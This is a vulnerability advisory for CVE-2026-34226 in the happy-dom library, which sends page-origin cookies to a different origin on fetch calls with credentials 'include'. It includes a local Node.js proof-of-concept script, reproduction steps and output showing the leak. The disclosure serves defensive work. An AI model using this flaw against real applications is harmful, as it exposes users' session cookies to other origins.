CVE-2026-34226

Description

### Summary `happy-dom` may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: "include" })` is used. This can leak cookies from origin A to destination B. ### Details In [`packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts`](https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts) (`getRequestHeaders()`), cookie selection is performed with `originURL`: ```ts const originURL = new URL(options.window.location.href); const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]); // ... const cookies = options.browserFrame.page.context.cookieContainer.getCookies( originURL, false ); ``` Here, `originURL` represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: `new URL(options.request[PropertySymbol.url])`). ### PoC Script Content ```javascript const http = require('http'); const dns = require('dns').promises; const { Browser } = require('happy-dom'); async function listen(server, host) { return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port))); } async function run() { let observedCookieHeader = null; const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io'; const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io'; console.log('=== PoC: Wrong Cookie Source URL in credentials:include ==='); console.log('Setup:'); console.log(` Page Origin Host : ${pageHost}`); console.log(` Request Target Host: ${apiHost}`); console.log(' (both resolve to 127.0.0.1 via public wildcard DNS)'); console.log(''); await dns.lookup(pageHost); await dns.lookup(apiHost); const pageServer = http.createServer((req, res) => { res.writeHead(200, { 'content-type': 'text/plain' }); res.end('page host'); }); const apiServer = http.createServer((req, res) => { observedCookieHeader = req.headers.cookie || ''; const origin = req.headers.origin || ''; res.writeHead(200, { 'content-type': 'application/json', 'access-control-allow-origin': origin, 'access-control-allow-credentials': 'true' }); res.end(JSON.stringify({ ok: true })); }); const pagePort = await listen(pageServer, '127.0.0.1'); const apiPort = await listen(apiServer, '127.0.0.1'); const browser = new Browser(); try { const context = browser.defaultContext; // Page host: pageHost (local DNS) const page = context.newPage(); page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`; page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY'; // Target host: apiHost (local DNS) const apiSeedPage = context.newPage(); apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`; apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY'; // Trigger cross-host request with credentials. const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, { credentials: 'include' }); await res.text(); const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY'); const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY'); console.log('Expected:'); console.log(' Request to target host should include "api_cookie=API_ONLY".'); console.log(' Request should NOT include "page_cookie=PAGE_ONLY".'); console.log(''); console.log('Actual:'); console.log(` request cookie header: "${observedCookieHeader || '(empty)'}"`); console.log(` includes page_cookie: ${leakedPageCookie}`); console.log(` includes api_cookie : ${expectedApiCookie}`); console.log(''); if (leakedPageCookie && !expectedApiCookie) { console.log('Result: VULNERABLE behavior reproduced.'); process.exitCode = 0; } else { console.log('Result: Vulnerable behavior NOT reproduced in this run/version.'); process.exitCode = 1; } } finally { await browser.close(); pageServer.close(); apiServer.close(); } } run().catch((error) => { console.error(error); process.exit(1); }); ``` Environment: 1. Node.js >= 22 2. `happy-dom` 20.6.1 3. DNS names resolving to local loopback via `*.127.0.0.1.nip.io` Reproduction steps: 1. Set page host cookie: `page_cookie=PAGE_ONLY` on `a.127.0.0.1.nip.io` 2. Set target host cookie: `api_cookie=API_ONLY` on `b.127.0.0.1.nip.io` 3. From page host, call fetch to target host with `credentials: "include"` 4. Observe `Cookie` header received by the target host Expected: 1. Include `api_cookie=API_ONLY` 2. Do not include `page_cookie=PAGE_ONLY` Actual (observed): 1. Includes `page_cookie=PAGE_ONLY` 2. Does not include `api_cookie=API_ONLY` Observed output: ```text === PoC: Wrong Cookie Source URL in credentials:include === Setup: Page Origin Host : a.127.0.0.1.nip.io Request Target Host: b.127.0.0.1.nip.io (both resolve to 127.0.0.1 via public wildcard DNS) Expected: Request to target host should include "api_cookie=API_ONLY". Request should NOT include "page_cookie=PAGE_ONLY". Actual: request cookie header: "page_cookie=PAGE_ONLY" includes page_cookie: true includes api_cookie : false Result: VULNERABLE behavior reproduced. ``` ### Impact Cross-origin sensitive information disclosure (cookie leakage). Impacted users are applications relying on `happy-dom` browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.